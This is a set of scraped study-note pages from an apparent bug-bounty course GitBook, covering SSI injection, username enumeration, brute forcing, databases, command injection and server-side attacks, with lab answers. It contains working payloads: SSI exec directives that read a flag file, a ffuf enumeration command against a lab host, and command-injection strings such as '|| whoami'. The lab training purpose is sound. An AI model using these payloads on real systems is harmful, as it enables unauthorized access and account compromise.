![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252FLLhfZctKR2jyU9wJnJit%252Fimage.png%3Falt%3Dmedia%26token%3D0e795519-d965-4bc0-a684-764e87137ea3&width=768&dpr=3&quality=100&sign=2e1d0993&sv=2) Try tp see what is in the file directory ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252FfcWh8kyIaQzTXAf6vYAd%252Fimage.png%3Falt%3Dmedia%26token%3Db0594884-e4fb-4773-83a3-a381acb09934&width=768&dpr=3&quality=100&sign=84009f2f&sv=2) Now try going back a couple folder ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252FEQSkleKJiSR2aGUumAzV%252Fimage.png%3Falt%3Dmedia%26token%3D91d0bead-ff7b-4018-bb0d-1631326f9b6f&width=768&dpr=3&quality=100&sign=71e298b7&sv=2) To obtain the flag ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252FjvhP4FDBEG8OnklxaDrt%252Fimage.png%3Falt%3Dmedia%26token%3D2595702b-6e4e-4156-ae5e-da74afb75196&width=768&dpr=3&quality=100&sign=cf61595a&sv=2) [PreviousIntroduction to SSI Injection](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssi-injection/introduction-to-ssi-injection) [NextPreventing SSI Injection](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssi-injection/preventing-ssi-injection) Last updated 10 months ago * [Exploiting SSI Injection](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssi-injection/exploiting-ssi-injection#exploiting-ssi-injection) * [Exploitation](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssi-injection/exploiting-ssi-injection#exploitation) * [Exploit the SSI Injection vulnerability to obtain RCE and read the flag.](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssi-injection/exploiting-ssi-injection#exploit-the-ssi-injection-vulnerability-to-obtain-rce-and-read-the-flag) Copy <!--#exec cmd="id" --> Copy <!--#exec cmd="ls" --> Copy <!--#exec cmd="ls ../../../" --> Copy <!--#exec cmd="cat ../../../flag.txt" --> --- # Enumerating Users | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/enumerating-users.md) . Enumerating Users[](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/enumerating-users#enumerating-users) -------------------------------------------------------------------------------------------------------------------------------------------- * * * User enumeration vulnerabilities arise when a web application responds differently to registered/valid and invalid inputs for authentication endpoints. User enumeration vulnerabilities frequently occur in functions based on the user's username, such as user login, user registration, and password reset. Web developers frequently overlook user enumeration vectors, assuming that information such as usernames is not confidential. However, usernames can be considered confidential if they are the primary identifier required for authentication in web applications. Moreover, users tend to use the same username across various services other than web applications, including FTP, RDP, and SSH. Since many web applications allow us to identify usernames, we can enumerate valid usernames and use them for further attacks on authentication. This is often possible because web applications typically consider a username or user's email address as the primary identifier of users. * * * ### User Enumeration Theory[](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/enumerating-users#user-enumeration-theory) Protection against username enumeration attacks can have an impact on user experience. A web application revealing whether a username exists may help a legitimate user identify that they failed to type their username correctly. Still, the same applies to an attacker trying to determine valid usernames. Even well-known and mature applications, like WordPress, allow for user enumeration by default. For instance, if we attempt to login to WordPress with an invalid username, we get the following error message: arrow-circle-left redo home ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F269%2Fbf%2F01-wordpress_wrong_username.png&width=768&dpr=3&quality=100&sign=7ea60879&sv=2) On the other hand, a valid username results in a different error message: arrow-circle-left redo home ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F269%2Fbf%2F02-wordpress_wrong_password.png&width=768&dpr=3&quality=100&sign=47909037&sv=2) As we can see, user enumeration can be a security risk that a web application deliberately accepts to provide a service. As another example, consider a chat application enabling users to chat with others. This application might provide a functionality to search for users by their username. While this functionality can be used to enumerate all users on the platform, it is also essential to the service provided by the web application. As such, user enumeration is not always a security vulnerability. Nevertheless, it should be avoided if possible as a defense-in-depth measure. For instance, in our example web application user enumeration can be avoided by not using the username during login but an email address instead. * * * ### Enumerating Users via Differing Error Messages[](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/enumerating-users#enumerating-users-via-differing-error-messages) To obtain a list of valid users, an attacker typically requires a wordlist of usernames to test. Usernames are often far less complicated than passwords. They rarely contain special characters when they are not email addresses. A list of common users allows an attacker to narrow the scope of a brute-force attack or carry out targeted attacks (leveraging OSINT) against support employees or users. Also, a common password could be easily sprayed against valid accounts, often leading to a successful account compromise. Further ways of harvesting usernames are crawling a web application or using public information, such as company profiles on social networks. A good starting point is the wordlist collection [SecLists](https://github.com/danielmiessler/SecLists/tree/master/Usernames) . When we attempt to log in to the lab with an invalid username such as `abc`, we can see the following error message: arrow-circle-left redo home ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F269%2Fbf%2Fuserenum_1.png&width=768&dpr=3&quality=100&sign=4be9fedf&sv=2) On the other hand, when we attempt to log in with a registered user such as `htb-stdnt` and an invalid password, we can see a different error: arrow-circle-left redo home ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F269%2Fbf%2Fuserenum_2.png&width=768&dpr=3&quality=100&sign=6d85c8d8&sv=2) Let us exploit this difference in error messages returned and use SecLists's wordlist `xato-net-10-million-usernames.txt` to enumerate valid users with `ffuf`. We can specify the wordlist with the `-w` parameter, the POST data with the `-d` parameter, and the keyword `FUZZ` in the username to fuzz valid users. Finally, we can filter out invalid users by removing responses containing the string `Unknown user`: Enumerating Users We successfully identified the valid username `consuelo`. We could now proceed by attempting to brute-force the user's password, as we will discuss in the following section. * * * ### User Enumeration via Side-Channel Attacks[](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/enumerating-users#user-enumeration-via-side-channel-attacks) While differences in the web application's response are the simplest and most obvious way to enumerate valid usernames, we might also be able to enumerate valid usernames via side channels. Side-channel attacks do not directly target the web application's response but rather extra information that can be obtained or inferred from the response. An example of a side channel is the response timing, i.e., the time it takes for the web application's response to reach us. Suppose a web application does database lookups only for valid usernames. In that case, we might be able to measure a difference in the response time and enumerate valid usernames this way, even if the response is the same. User enumeration based on response timing is covered in the [Whitebox Attacks](https://academy.hackthebox.com/module/details/205) module. #### Enumerate a valid user on the web application. Provide the username as the answer.[](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/enumerating-users#enumerate-a-valid-user-on-the-web-application.-provide-the-username-as-the-answer) So it appears we can just use ffuf to find some valid usernames And we get A: cookster [PreviousBrute Force Attacks](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks) [NextBrute-Forcing Passwords](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/brute-forcing-passwords) Last updated 9 months ago * [Enumerating Users](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/enumerating-users#enumerating-users) * [User Enumeration Theory](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/enumerating-users#user-enumeration-theory) * [Enumerating Users via Differing Error Messages](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/enumerating-users#enumerating-users-via-differing-error-messages) * [User Enumeration via Side-Channel Attacks](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/enumerating-users#user-enumeration-via-side-channel-attacks) Copy Code4Christ@htb[/htb]$ ffuf -w /opt/useful/seclists/Usernames/xato-net-10-million-usernames.txt -u http://172.17.0.2/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "username=FUZZ&password=invalid" -fr "Unknown user" <SNIP> [Status: 200, Size: 3271, Words: 754, Lines: 103, Duration: 310ms] * FUZZ: consuelo Copy ffuf -w /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -u http://94.237.56.25:40719 /index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "username=FUZZ&password=invalid" -fr "Unknown user" Copy ┌──(kali㉿kali)-[~] └─$ ffuf -w /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -u http://94.237.56.25:40719/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "username=FUZZ&password=invalid" -fr "Unknown user" -t 200 /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v2.1.0-dev ________________________________________________ :: Method : POST :: URL : http://94.237.56.25:40719/index.php :: Wordlist : FUZZ: /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt :: Header : Content-Type: application/x-www-form-urlencoded :: Data : username=FUZZ&password=invalid :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 200 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500 :: Filter : Regexp: Unknown user ________________________________________________ cookster [Status: 200, Size: 3271, Words: 754, Lines: 103, Duration: 461ms] --- # Intro | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/intro.md) . Introduction[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/intro#introduction) ------------------------------------------------------------------------------------------------ Keys and passwords, the modern equivalent of locks and combinations, secure the digital world. But what if someone tries every possible combination until they find the one that opens the door? That, in essence, is `brute forcing`. ### What is Brute Forcing?[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/intro#what-is-brute-forcing) In cybersecurity, brute forcing is a trial-and-error method used to crack passwords, login credentials, or encryption keys. It involves systematically trying every possible combination of characters until the correct one is found. The process can be likened to a thief trying every key on a giant keyring until they find the one that unlocks the treasure chest. The success of a brute force attack depends on several factors, including: * The `complexity` of the password or key. Longer passwords with a mix of uppercase and lowercase letters, numbers, and symbols are exponentially more complex to crack. * The `computational power` available to the attacker. Modern computers and specialized hardware can try billions of combinations per second, significantly reducing the time needed for a successful attack. * The `security measures` in place. Account lockouts, CAPTCHAs, and other defenses can slow down or even thwart brute-force attempts. ### How Brute Forcing Works[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/intro#how-brute-forcing-works) The brute force process can be visualized as follows: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F57%2F1n.png&width=768&dpr=3&quality=100&sign=da16221c&sv=2) 1. `Start`: The attacker initiates the brute force process, often with the aid of specialized software. 2. `Generate Possible Combination`: The software generates a potential password or key combination based on predefined parameters, such as character sets and length. 3. `Apply Combination`: The generated combination is attempted against the target system, such as a login form or encrypted file. 4. `Check if Successful`: The system evaluates the attempted combination. If it matches the stored password or key, access is granted. Otherwise, the process continues. 5. `Access Granted`: The attacker gains unauthorized access to the system or data. 6. `End`: The process repeats, generating and testing new combinations until either the correct one is found or the attacker gives up. ### Types of Brute Forcing[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/intro#types-of-brute-forcing) Brute forcing is not a monolithic entity but a collection of diverse techniques, each with its strengths, weaknesses, and ideal use cases. Understanding these variations is crucial for both attackers and defenders, as it enables the former to choose the most effective approach and the latter to implement targeted countermeasures. The following table provides a comparative overview of various brute-forcing methods: Method Description Example Best Used When... `Simple Brute Force` Systematically tries all possible combinations of characters within a defined character set and length range. Trying all combinations of lowercase letters from 'a' to 'z' for passwords of length 4 to 6. No prior information about the password is available, and computational resources are abundant. `Dictionary Attack` Uses a pre-compiled list of common words, phrases, and passwords. Trying passwords from a list like 'rockyou.txt' against a login form. The target will likely use a weak or easily guessable password based on common patterns. `Hybrid Attack` Combines elements of simple brute force and dictionary attacks, often appending or prepending characters to dictionary words. Adding numbers or special characters to the end of words from a dictionary list. The target might use a slightly modified version of a common password. `Credential Stuffing` Leverages leaked credentials from one service to attempt access to other services, assuming users reuse passwords. Using a list of usernames and passwords leaked from a data breach to try logging into various online accounts. A large set of leaked credentials is available, and the target is suspected of reusing passwords across multiple services. `Password Spraying` Attempts a small set of commonly used passwords against a large number of usernames. Trying passwords like 'password123' or 'qwerty' against all usernames in an organization. Account lockout policies are in place, and the attacker aims to avoid detection by spreading attempts across multiple accounts. `Rainbow Table Attack` Uses pre-computed tables of password hashes to reverse hashes and recover plaintext passwords quickly. Pre-computing hashes for all possible passwords of a certain length and character set, then comparing captured hashes against the table to find matches. A large number of password hashes need to be cracked, and storage space for the rainbow tables is available. `Reverse Brute Force` Targets a single password against multiple usernames, often used in conjunction with credential stuffing attacks. Using a leaked password from one service to try logging into multiple accounts with different usernames. A strong suspicion exists that a particular password is being reused across multiple accounts. `Distributed Brute Force` Distributes the brute forcing workload across multiple computers or devices to accelerate the process. Using a cluster of computers to perform a brute-force attack significantly increases the number of combinations that can be tried per second. The target password or key is highly complex, and a single machine lacks the computational power to crack it within a reasonable timeframe. ### The Role of Brute Forcing in Penetration Testing[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/intro#the-role-of-brute-forcing-in-penetration-testing) Penetration testing, or ethical hacking, is a proactive cybersecurity measure that simulates real-world attacks to identify and address vulnerabilities before malicious actors can exploit them. Brute forcing is a crucial tool in this process, particularly when assessing the resilience of password-based authentication mechanisms. While penetration tests encompass a range of techniques, brute forcing is often strategically employed when: * `Other avenues are exhausted`: Initial attempts to gain access, such as exploiting known vulnerabilities or utilizing social engineering tactics, may prove unsuccessful. In such scenarios, brute forcing is a viable alternative to overcome password barriers. * `Password policies are weak`: If the target system employs lax password policies, it increases the likelihood of users having weak or easily guessable passwords. Brute forcing can effectively expose these vulnerabilities. * `Specific accounts are targeted`: In some instances, penetration testers may focus on compromising specific user accounts, such as those with elevated privileges. Brute forcing can be tailored to target these accounts directly. [PreviousRewalk](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/skills-assessment/rewalk) [NextPassword Security Fundamentals](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/intro/password-security-fundamentals) Last updated 1 year ago * [Introduction](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/intro#introduction) * [What is Brute Forcing?](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/intro#what-is-brute-forcing) * [How Brute Forcing Works](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/intro#how-brute-forcing-works) * [Types of Brute Forcing](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/intro#types-of-brute-forcing) * [The Role of Brute Forcing in Penetration Testing](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/intro#the-role-of-brute-forcing-in-penetration-testing) --- # Databases | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/databases.md) . Intro to Databases[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/databases#intro-to-databases) ---------------------------------------------------------------------------------------------------------------------- * * * Before we learn about SQL injections, we need to learn more about databases and Structured Query Language (SQL), which databases will perform the necessary queries. Web applications utilize back-end databases to store various content and information related to the web application. This can be core web application assets like images and files, content like posts and updates, or user data like usernames and passwords. There are many different types of databases, each of which fits a particular type of use. Traditionally, an application used file-based databases, which was very slow with the increase in size. This led to the adoption of `Database Management Systems` (`DBMS`). * * * ### Database Management Systems[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/databases#database-management-systems) A Database Management System (DBMS) helps create, define, host, and manage databases. Various kinds of DBMS were designed over time, such as file-based, Relational DBMS (RDBMS), NoSQL, Graph based, and Key/Value stores. There are multiple ways to interact with a DBMS, such as command-line tools, graphical interfaces, or even APIs (Application Programming Interfaces). DBMS is used in various banking, finance, and education sectors to record large amounts of data. Some of the essential features of a DBMS include: **Feature** **Description** `Concurrency` A real-world application might have multiple users interacting with it simultaneously. A DBMS makes sure that these concurrent interactions succeed without corrupting or losing any data. `Consistency` With so many concurrent interactions, the DBMS needs to ensure that the data remains consistent and valid throughout the database. `Security` DBMS provides fine-grained security controls through user authentication and permissions. This will prevent unauthorized viewing or editing of sensitive data. `Reliability` It is easy to backup databases and rolls them back to a previous state in case of data loss or a breach. `Structured Query Language` SQL simplifies user interaction with the database with an intuitive syntax supporting various operations. * * * ### Architecture[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/databases#architecture) The diagram below details a two-tiered architecture. ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F33%2Fdb_2.png&width=768&dpr=3&quality=100&sign=1597244a&sv=2) dbms\_architecture `Tier I` usually consists of client-side applications such as websites or GUI programs. These applications consist of high-level interactions such as user login or commenting. The data from these interactions is passed to `Tier II` through API calls or other requests. The second tier is the middleware, which interprets these events and puts them in a form required by the DBMS. Finally, the application layer uses specific libraries and drivers based on the type of DBMS to interact with them. The DBMS receives queries from the second tier and performs the requested operations. These operations could include insertion, retrieval, deletion, or updating of data. After processing, the DBMS returns any requested data or error codes in the event of invalid queries. It is possible to host the application server as well as the DBMS on the same host. However, databases with large amounts of data supporting many users are typically hosted separately to improve performance and scalability. [PreviousIntro](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/intro) [NextTypes of Databases](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/databases/types-of-databases) Last updated 1 year ago * [Intro to Databases](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/databases#intro-to-databases) * [Database Management Systems](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/databases#database-management-systems) * [Architecture](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/databases#architecture) --- # Other Injection Operators | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/exploitation/other-injection-operators.md) . * * * Before we move on, let us try a few other injection operators and see how differently the web application would handle them. * * * ### AND Operator[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/exploitation/other-injection-operators#and-operator) We can start with the `AND` (`&&`) operator, such that our final payload would be (`127.0.0.1 && whoami`), and the final executed command would be the following: Code: bash Copy ping -c 1 127.0.0.1 && whoami As we always should, let's try to run the command on our Linux VM first to ensure that it is a working command: Other Injection Operators Copy 21y4d@htb[/htb]$ ping -c 1 127.0.0.1 && whoami PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data. 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=1.03 ms --- 127.0.0.1 ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 1.034/1.034/1.034/0.000 ms 21y4d As we can see, the command does run, and we get the same output we got previously. Try to refer to the injection operators table from the previous section and see how the `&&` operator is different (if we do not write an IP and start directly with `&&`, would the command still work?). Now, we can do the same thing we did before by copying our payload, pasting it in our HTTP request in `Burp Suite`, URL-encoding it, and then finally sending it: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F109%2Fcmdinj_basic_AND.jpg&width=768&dpr=3&quality=100&sign=db2b0e47&sv=2) As we can see, we successfully injected our command and received the expected output of both commands. * * * ### OR Operator[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/exploitation/other-injection-operators#or-operator) Finally, let us try the `OR` (`||`) injection operator. The `OR` operator only executes the second command if the first command fails to execute. This may be useful for us in cases where our injection would break the original command without having a solid way of having both commands work. So, using the `OR` operator would make our new command execute if the first one fails. If we try to use our usual payload with the `||` operator (`127.0.0.1 || whoami`), we will see that only the first command would execute: Other Injection Operators This is because of how `bash` commands work. As the first command returns exit code `0` indicating successful execution, the `bash` command stops and does not try the other command. It would only attempt to execute the other command if the first command failed and returned an exit code `1`. `Try using the above payload in the HTTP request, and see how the web application handles it.` Let us try to intentionally break the first command by not supplying an IP and directly using the `||` operator (`|| whoami`), such that the `ping` command would fail and our injected command gets executed: Other Injection Operators As we can see, this time, the `whoami` command did execute after the `ping` command failed and gave us an error message. So, let us now try the (`|| whoami`) payload in our HTTP request: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F109%2Fcmdinj_basic_OR.jpg&width=768&dpr=3&quality=100&sign=b0154859&sv=2) We see that this time we only got the output of the second command as expected. With this, we are using a much simpler payload and getting a much cleaner result. Such operators can be used for various injection types, like SQL injections, LDAP injections, XSS, SSRF, XXE, etc. We have created a list of the most common operators that can be used for injections: **Injection Type** **Operators** SQL Injection `'` `,` `;` `--` `/* */` Command Injection `;` `&&` LDAP Injection `*` `(` `)` `&` `|` XPath Injection `'` `or` `and` `not` `substring` `concat` `count` OS Command Injection `;` `&` `|` Code Injection `'` `;` `--` `/* */` `$()` `${}` `#{}` `%{}` `^` Directory Traversal/File Path Traversal `../` `..\\` `%00` Object Injection `;` `&` `|` XQuery Injection `'` `;` `--` `/* */` Shellcode Injection `\x` `\u` `%u` `%n` Header Injection `\n` `\r\n` `\t` `%0d` `%0a` `%09` Keep in mind that this table is incomplete, and many other options and operators are possible. It also highly depends on the environment we are working with and testing. In this module, we are mainly dealing with direct command injections, in which our input goes directly into the system command, and we are receiving the output of the command. For more on advanced command injections, like indirect injections or blind injection, you may refer to the [Whitebox Pentesting 101: Command Injection](https://academy.hackthebox.com/course/preview/whitebox-pentesting-101-command-injection) module, which covers advanced injections methods and many other topics. Try using the remaining three injection operators (new-line, &, |), and see how each works and how the output differs. Which of them only shows the output of the injected command?[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/exploitation/other-injection-operators#try-using-the-remaining-three-injection-operators-new-line-and-or-and-see-how-each-works-and-how-the) ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- So we can start by firing up burp and testing the inital command as inth section before. Once we see that initial GET request we can send it over to repeater to do some payload Manipulation. I will start by using the one from the module ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252FRB6rN5fKlvpUL5Im3K4V%252Fimage.png%3Falt%3Dmedia%26token%3De53a05eb-ae99-4786-af3f-3ee0726f242e&width=768&dpr=3&quality=100&sign=986eee4c&sv=2) as we can see it only showed the output of the injected command (whoami) so the answer is "|" Answer: | [PreviousInjecting Commands](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/exploitation/injecting-commands) [NextFilter Evasion](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion) Last updated 1 year ago * [AND Operator](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/exploitation/other-injection-operators#and-operator) * [OR Operator](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/exploitation/other-injection-operators#or-operator) * [Try using the remaining three injection operators (new-line, &, |), and see how each works and how the output differs. Which of them only shows the output of the injected command?](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/exploitation/other-injection-operators#try-using-the-remaining-three-injection-operators-new-line-and-or-and-see-how-each-works-and-how-the) Copy 21y4d@htb[/htb]$ ping -c 1 127.0.0.1 || whoami PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data. 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.635 ms --- 127.0.0.1 ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 0.635/0.635/0.635/0.000 ms Copy 21y4d@htb[/htb]$ ping -c 1 || whoami ping: usage error: Destination address required 21y4d Copy // Payload for Burp ping -c 127.0.0.1 || whoami --- # Introduction | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/introduction.md) . Introduction to Server-side Attacks[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/introduction#introduction-to-server-side-attacks) ----------------------------------------------------------------------------------------------------------------------------------------------------- * * * Server-side attacks target the application or service provided by a server, whereas a client-side attack takes place at the client's machine, not the server itself. Understanding and identifying the differences is essential for penetration testing and bug bounty hunting. For instance, vulnerabilities like Cross-Site Scripting (XSS) target the web browser, i.e., the client. On the other hand, server-side attacks target the web server. In this module, we will discuss four classes of server-side vulnerabilities: * Server-Side Request Forgery (SSRF) * Server-Side Template Injection (SSTI) * Server-Side Includes (SSI) Injection * eXtensible Stylesheet Language Transformations (XSLT) Server-Side Injection * * * ### Server-Side Request Forgery (SSRF)[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/introduction#server-side-request-forgery-ssrf) [Server-Side Request Forgery (SSRF)](https://owasp.org/www-community/attacks/Server_Side_Request_Forgery) is a vulnerability where an attacker can manipulate a web application into sending unauthorized requests from the server. This vulnerability often occurs when an application makes HTTP requests to other servers based on user input. Successful exploitation of SSRF can enable an attacker to access internal systems, bypass firewalls, and retrieve sensitive information. * * * ### Server-Side Template Injection (SSTI)[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/introduction#server-side-template-injection-ssti) Web applications can utilize templating engines and server-side templates to generate responses such as HTML content dynamically. This generation is often based on user input, enabling the web application to respond to user input dynamically. When an attacker can inject template code, a [Server-Side Template Injection](https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/18-Testing_for_Server_Side_Template_Injection) vulnerability can occur. SSTI can lead to various security risks, including data leakage and even full server compromise via remote code execution. * * * ### Server-Side Includes (SSI) Injection[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/introduction#server-side-includes-ssi-injection) Similar to server-side templates, server-side includes (SSI) can be used to generate HTML responses dynamically. SSI directives instruct the webserver to include additional content dynamically. These directives are embedded into HTML files. For instance, SSI can be used to include content that is present in all HTML pages, such as headers or footers. When an attacker can inject commands into the SSI directives, [Server-Side Includes (SSI) Injection](https://owasp.org/www-community/attacks/Server-Side_Includes_(SSI)_Injection) can occur. SSI injection can lead to data leakage or even remote code execution. * * * ### XSLT Server-Side Injection[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/introduction#xslt-server-side-injection) XSLT (Extensible Stylesheet Language Transformations) server-side injection is a vulnerability that arises when an attacker can manipulate XSLT transformations performed on the server. XSLT is a language used to transform XML documents into other formats, such as HTML, and is commonly employed in web applications to generate content dynamically. In the context of XSLT server-side injection, attackers exploit weaknesses in how XSLT transformations are handled, allowing them to inject and execute arbitrary code on the server. [PreviousCHEAT SHEET](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/cheat-sheet) [NextSSRF](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssrf) Last updated 10 months ago * [Introduction to Server-side Attacks](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/introduction#introduction-to-server-side-attacks) * [Server-Side Request Forgery (SSRF)](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/introduction#server-side-request-forgery-ssrf) * [Server-Side Template Injection (SSTI)](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/introduction#server-side-template-injection-ssti) * [Server-Side Includes (SSI) Injection](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/introduction#server-side-includes-ssi-injection) * [XSLT Server-Side Injection](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/introduction#xslt-server-side-injection) --- # Authentication Bypass | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/authentication-bypass.md) . [Authentication Bypass via Direct 